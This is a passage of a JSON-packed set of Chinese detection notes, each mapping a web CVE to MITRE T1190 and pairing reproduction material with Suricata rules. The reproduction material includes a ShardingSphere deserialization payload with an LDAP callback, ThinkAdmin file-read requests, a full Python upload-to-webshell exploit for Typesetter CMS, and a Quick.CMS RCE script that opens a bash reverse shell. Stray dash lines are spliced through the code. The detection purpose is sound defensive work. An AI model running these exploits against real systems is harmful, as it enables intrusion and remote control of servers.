UFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19\nContent-Type: application/json;charset=utf-8\n{\n  \"name\": \"CVE-2020-1947\",\n  \"ruleConfiguration\": \"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5\",\n  \"dataSourceConfiguration\": \"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/ExportObject\n  autoCommit: true\"\n}\nHTTP/1.1 200 OK\nDate: Sun, 06 Jun 2021 17:09:47 GMT\nContent-Length: 11\nContent-Type: text/plain; charset=utf-8\naesresponse\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-1947\";flow:established,to_server;content:\"POST\";http_method;content:\"/api/schema\";http_uri;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞\";flow:established,to_client;content:\"200\";http_stat_code;content:\"aesresponse\";http_server_body;flowbits:isset,first_req;reference:url,www.cnblogs.com/potatsoSec/p/12461330.html;classtype:web-application-attck;sid:2;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2020-1947 Sharding-UI的反序列化复现及分析\n<https://www.cnblogs.com/potatsoSec/p/12461330.html>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md",
    "content": "# T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数，没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。\n影响范围：ThinkAdmin版本小于 ≤ 2020.08.03.01\n## 检测日志\nHTTP\n## 测试复现\nBurp抓包，修改参数\n```\nyml\nPOST /admin.html?s=admin/api.Update/node HTTP/1.1\nHost: 127.0.0.1:8000\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26\nUpgrade-Insecure-Requests: 1\nContent-Length: 27\nContent-Type: application/x-www-form-urlencoded\n- ----------------------------------------------\nrules=%5b%22%2e%5c%2f%22%5d\n```\n## 测试留痕\n### 目录遍历\n```\nyml\nPOST /admin.html?s=admin/api.Update/node HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nDNT: 1\nX-Forwarded-For: 8.8.8.8\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nrules=%5B%22.%2F%22%5D\n```\n### 文件读取\n```\ns\nGET /admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38 HTTP/1.1\nHost: 192.168.100.194:8000\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: think_lang=zh-cn; PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52\nConnection: close\nHTTP/1.1 200 OK\nHost: 192.168.100.194:8000\nDate: Wed, 09 Dec 2020 10:53:17 +0800\nConnection: close\nX-Powered-By: PHP/7.2.1\nContent-Type:application/json; charset=utf-8\nSet-Cookie: think_lang=zh-cn; path=/\nSet-Cookie: PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52; path=/\n...{\"code\":1,\"info\":\".....................\",\"data\":{\"content\":\"dGVzdHRlc3R0ZXN0\"}}\n```\n## 检测规则/思路\n### Suricata规则\n#### 目录遍历检测规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-25540-rsq\";flow:established,to_server;content:\"POST\";http_method;content:\"/admin.html?s=admin/api.Update/node\";http_uri;content:\"rules=\";http_client_body;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2020-25540-目录遍历\";flow:established,to_client;content:\"200\";http_stat_code;content:\"获取文件列表成功\";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)\n```\n### 文件读取检测规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-25540-rsq\";flow:established,to_server;content:\"GET\";http_method;content:\"/admin.html?s=admin/api.Update/get/encode/\";http_uri;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2020-25540-文件读取\";flow:established,to_client;content:\"200\";http_stat_code;content:\"data\";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2020-25540目录遍历文件读取漏洞\n<https://www.freebuf.com/vuls/256529.html>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md",
    "content": "# T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nTypesetter CMS存在代码问题漏洞，该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。\n影响范围：Typesetter CMS 5.x全版本\n## 检测日志\nHTTP\n## 测试复现\n虽然对上传的文件进行了过滤，但是没有对解压文件的文件进行过滤，导致可以上传，php的压缩文件，解压后就可以执行php文件。\nFinder.class.php文件中extract函数解压后未对，解压后的文件名进行任何过滤。POC如下：\n```\nyml\nimport argparse\n- --------------\nfrom bs4 import BeautifulSoup\n- --------------\nimport requests\n- --------------\nimport sys\n- --------------\nimport  re\n----------\nimport urllib3\n- --------------\nfrom urllib3.exceptions import InsecureRequestWarning\n-----------------------------------------------------\nbanner = \"\"\"---------------\nusage: main.py [-h] -p PASSWORD -l LOGIN -u URL\n==> Exploit for CVE 2020-25790\noptional arguments:\n  - h, --help            show this help message and exit\n  - p PASSWORD, --password PASSWORD\n                        ==> admin password\n  - l LOGIN, --login LOGIN\n                        ==> admin login\n  - u URL, --url URL     ==> main URL\n  \"\"\"\n-----------------------------------------------------\nprint(banner)\n- --------------\nmenu = argparse.ArgumentParser(description=\"==> Exploit for CVE 2020-25790\")\n- --------------\nmenu.add_argument(\"-p\", \"--password\", required=True, help=\"==> admin password\")\n- --------------\nmenu.add_argument(\"-l\", \"--login\", required=True, help=\"==> admin login\")\n- --------------\nmenu.add_argument(\"-u\", \"--url\", required=True, help=\"==> main URL\")\n- --------------\nmenu.add_argument(\"-f\", \"--file\", required=True, help=\"==> Malicous zip file with php file inside\")\n- --------------\nargs = menu.parse_args()\n-----------------------------------------------------\nlogin = args.login\n- --------------\npassword = args.password\n- --------------\nurl = args.url\n- --------------\nfile = args.file\n----------\nPROXIES = proxies = {\n- --------------\n    \"http\": \"http://127.0.0.1:8080\",\n- --------------\n    \"https\": \"https://127.0.0.1:8080\",\n- --------------\n}\n----------\nclass Exploit:\n-----------------------------------------------------\n    def __init__(self, login, password, url, file):\n- --------------\n        self.login = login\n- --------------\n        self.password = password\n- --------------\n        self.url = url\n- --------------\n        self.user_agent = \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari\"\n- --------------\n        self.file = open(file, 'rb')\n-----------------------------------------------------\n    def get_nounce(self):\n- --------------\n        try:\n- --------------\n            url = self.url + \"/Admin\"\n- --------------\n            r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)\n- --------------\n            data = r.text\n- --------------\n            soap_obj = BeautifulSoup(data, 'html.parser')\n- --------------\n            for inp in soap_obj.find_all(\"input\"):\n- --------------\n                for v in inp:\n- --------------\n                    nounce = v['value']\n- --------------\n                    if nounce != None or nounce != \"\":\n- --------------\n                        return nounce\n- --------------\n        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f'==> Error {e}')\n-----------------------------------------------------\n    def get_hash_folders(self):\n-----------------------------------------------------\n        cookie_auth = self.get_cookies()\n- --------------\n        hash_verified = self.get_verified()\n- --------------\n        data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}\n- --------------\n        try:\n- --------------\n            url = self.url + \"/Admin_Finder\"\n- --------------\n            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)\n- --------------\n            json_data = r.json()\n- --------------\n            hash_dir = json_data['files'][2]['hash']\n- --------------\n            return hash_dir\n- --------------\n        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f'==> Error {e}')\n-----------------------------------------------------\n    def get_cookies(self):\n-----------------------------------------------------\n        nounce = self.get_nounce()\n- --------------\n        if nounce:\n- --------------\n            try:\n- --------------\n                url = self.url + \"/Admin\"\n- --------------\n                data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',\n- --------------\n                             'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',\n- --------------\n                             'remember': 'on', 'verified': ''}\n- --------------\n                r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,\n- --------------\n                                  headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})\n- --------------\n                cookie_admin = r.headers['Set-Cookie']\n- --------------\n                cookie_name = cookie_admin.split(':')[0].split('=')[0]\n- --------------\n                cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]\n-----------------------------------------------------\n                if cookie_name == None or cookie_name == \"\":\n- --------------\n                    if cookie_value == None or cookie_value == \"\":\n- --------------\n                        print(\"==> Something went wrong while login\")\n- --------------\n                else:\n- --------------\n                    data = f\"{cookie_name}={cookie_value};\"\n- --------------\n                    return data\n- --------------\n            except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:\n- --------------\n                print(f'==> Error while login {e}')\n-----------------------------------------------------\n    def upload_zip(self):\n- --------------\n        url = self.url + '/Admin_Finder'\n- --------------\n        hash_verified = self.get_verified()\n- --------------\n        hash_dir = self.get_hash_folders()\n- --------------\n        auth_cookie = self.get_cookies()\n-----------------------------------------------------\n        try:\n- --------------\n            print(f\"==> Uploading file: {self.file}\")\n- --------------\n            data = {'cmd': \"upload\", \"target\": hash_dir, \"verified\": hash_verified}\n- --------------\n            r = requests.post(url=url, verify=False, timeout=10,\n- --------------\n                              headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})\n- --------------\n            hash_file = r.json()['added'][0]['hash']\n- --------------\n            self.extract_file(auth_cookie, hash_file, hash_verified)\n- --------------\n        except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f\"==> Error while uploading {e}\")\n----------\n    def extract_file(self, auth_cookie, hash_file, hash_verified):\n- --------------\n        data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}\n- --------------\n        try:\n- --------------\n            url = self.url + \"/Admin_Finder\"\n- --------------\n            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)\n- --------------\n            name_file = r.json()['added'][0]['name']\n- --------------\n            print(f\"==> All Hashes are collected from: {name_file}\")---------------\n- --------------\n            self.xpl(auth_cookie,name_file)\n- --------------\n        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f'==> Error {e}')\n----------\n    def xpl(self, auth_cookie, name_file):\n- --------------\n        try:\n- --------------\n            url = self.url + \"/data/_uploaded/file/\" + name_file + \"?cmd=id\"\n- --------------\n            new_url = url.replace(\"index.php\", \"\")\n- --------------\n            print(f\"==> Try to exploit: {new_url}\")\n- --------------\n            r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)\n- --------------\n            pattern = r'<pre>(.*?)</pre>'\n- --------------\n            m = re.search(pattern, r.text.replace(\"\\n\", \"\"))\n- --------------\n            if m is not None and m != \"\":\n- --------------\n                print(f\"==> Vulnerable: {m.group(1)}\")\n- --------------\n        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f'==> Error {e}')\n----------\n    def get_verified(self):\n- --------------\n        try:\n- --------------\n            url = self.url + \"/Admin/Uploaded\"\n- --------------\n            auth_cookie = self.get_cookies()\n- --------------\n            r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)\n- --------------\n            data = r.text\n- --------------\n            pattern_regex = r'\"verified\":\"(.*)\"}'\n- --------------\n            m = re.search(pattern_regex, data)\n- --------------\n            if m is not None or m != \"\":\n- --------------\n                return m.group(1)\n-----------------------------------------------------\n        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:\n- --------------\n            print(f'==> Error {e}')\n-----------------------------------------------------\nif __name__ == \"__main__\":\n- --------------\n    obj = Exploit(login, password, url, file)\n- --------------\n    obj.upload_zip()\n```\n## 测试留痕\n```\nyml\nPOST /index.php/Admin_Finder HTTP/1.1\nHost: 172.17.41.106\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 186\nOrigin: http://172.17.41.106\nConnection: keep-alive\nReferer: http://172.17.41.106/index.php/Admin/Uploaded\nCookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l\nverified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK\nDate: Fri, 09 Oct 2020 07:42:58 GMT\nServer: Apache/2.4.41 (Ubuntu)\nLast-Modified: Fri, 9 Oct 2020 07:42:58 GMT\nExpires: Fri, 9 Oct 2020 07:42:58 GMT\nCache-Control: no-store, no-cache, must-revalidate\nCache-Control: post-check=0, pre-check=0\nPragma: no-cache\nX-Frame-Options: SAMEORIGIN\nContent-Encoding: gzip\nVary: Accept-Encoding\nContent-Length: 144\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: application/json\n{\"added\":[{\"mime\":\"text\\/html\",\"ts\":1600337620,\"read\":1,\"write\":1,\"size\":348,\"hash\":\"l1_ZmlsZS9zaW1wbGUucGhw\",\"name\":\"simple.php\",\"phash\":\"l1_ZmlsZQ\"}]}GET /data/_uploaded/file/simple.php HTTP/1.1\nHost: 172.17.41.106\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nReferer: http://172.17.41.106/index.php/Admin/Uploaded\nCookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nDate: Fri, 09 Oct 2020 07:43:01 GMT\nServer: Apache/2.4.41 (Ubuntu)\nVary: Accept-Encoding\nContent-Encoding: gzip\nContent-Length: 181\nKeep-Alive: timeout=5, max=99\nConnection: Keep-Alive\nContent-Type: text/html; charset=UTF-8\n<html>\n<body>\n<form method=\"GET\" name=\"simple.php\">\n<input type=\"TEXT\" name=\"cmd\" id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n</form>\n<pre>\n</pre>\n</body>\n<script>document.getElementById(\"cmd\").focus();</script>\n</html>\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-25790-requset\";flow:established,to_server;content:\"POST\";http_method;content:\"/index.php/Admin_Finder\";http_uri;content:\"&cmd=extract&target=\";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2020-25790-rsp\";flow:established,to_client;content:\"200\";http_stat_code;content:\"added\";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)\nalert http any any -> any any (msg:\"CVE-2020-25790-Typesetter CMS文件上传漏洞\";flow:established,to_server;content:\"GET\";http_method;content:\"/data/_uploaded/file/\";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nTypesetter CMS文件上传漏洞复现(CVE-2020-25790)\n<https://blog.csdn.net/xuandao_ahfengren/article/details/111402910>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md",
    "content": "# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞------------------\n## 来自ATT&CK的描述------------------\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。------------------\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------\n## 测试案例------------------\nOpensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS ＜ 6.7 and Quick.Cart ＜ 6.7 存在注入漏洞，该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。------------------\n## 检测日志------------------\nHTTP------------------\n## 测试复现------------------\nPOC&&EXP------------------\n```\nyml\n# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)\n# Date: 2020-12-28\n# Exploit Author: mari0x00\n# Vendor Homepage: https://opensolution.org/\n# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip\n# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/\n# Version: <= 6.7\n# CVE : CVE-2020-35754------------------\n# !/usr/bin/python3------------------\nimport requests\nimport sys\nfrom termcolor import colored\nfrom time import sleep------------------\nprint(colored('''###########################################################''',\"red\"))\nprint(colored('''######    Quick.CMS authenticated RCE by mari0x00   #######''',\"red\"))\nprint(colored('''###########################################################''',\"red\"))\nprint(\"\")------------------\nif len(sys.argv) != 6:\n    print((colored(\"[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>\",\"red\")))\n    print((colored(\"[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444\",\"red\")))\n    exit()\nurl = sys.argv[1]\nusername = sys.argv[2]\npassword = sys.argv[3]\nIP = sys.argv[4]\nPORT = sys.argv[5]------------------------------------------------------------------------------------------------------------------\n# Start session\ns = requests.Session()\nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}------------------------------------------------------------------------------------------------------------------\n# Authenticate\nprint((colored(\"[+] Attempting user login\",\"blue\")))------------------\nlogin_data = {\n    \"sEmail\": username,\n    \"sPass\": password,\n    \"bAcceptLicense\": \"1\",\n    \"iAcceptLicense\": \"true\"\n   }------------------\nlogin = s.post(url+\"admin.php?p=login\", login_data, headers=headers)\nsleep(0.5)------------------------------------------------------------------------------------------------------------------\n# Exploit\nprint((colored(\"[+] Adding shell command\",\"blue\")))\npayload = \"Back end\\\\\\\"; system('/bin/bash -c \\\\'bash -i >& /dev/tcp/\" + IP + \"/\" + PORT + \" 0>&1\\\\''); //\"------------------\nshell = {\n    \"sOption\": \"save\",\n    \"Back_end_only\": payload\n}------------------\nexploit = s.post(url+\"admin.php?p=languages&sLangEdit=en\", shell, headers=headers)\nsleep(1)------------------\n# Triggering reverse shell (three times just in case)\nprint(\"\")\nprint((colored(\"[+] Triggering the shell. Go nuts!\",\"green\")))\nr = s.get(url+\"admin.php?p=languages\", headers=headers)\nsleep(1)\nr = s.get(url+\"admin.php?p=languages\", headers=headers)\nsleep(1)\nr = s.get(url+\"admin.php?p=languages\", headers=headers)------------------\n```\n- -----------------\n## 检测规则/思路------------------\n### Suricata规则------------------\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-35754-QuickCms-1\";flow:established,to_server;content:\"POST\";http_method;content:\"/quickcmsadmin.php?p=\";http_uri;content:\"bAcceptLicense=1&iAcceptLicense=true\";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)------------------\nalert http any any -> any any (msg:\"CVE-2020-35754-QuickCms-2\";flow:established,to_server;content:\"POST\";http_method;content:\"/quickcmsadmin.php?p=\";http_uri;content:\"Back_end_only=\";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)------------------\nalert http any any -> any any (msg:\"CVE-2020-35754-QuickCms访问控制错误漏洞\";flow:established,to_server;content:\"GET\";http_method;content:\"/quickcmsadmin.php?p=languages\";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)------------------\n```\n- -----------------\n### 建议------------------\n流量+安全设备比较容易检测到此攻击行为。------------------\n## 参考推荐------------------\nMITRE-ATT&CK-T1190------------------\n<https://attack.mitre.org/techniques/T1190/>------------------\nOpensolution Quick.Cart和Opensolution 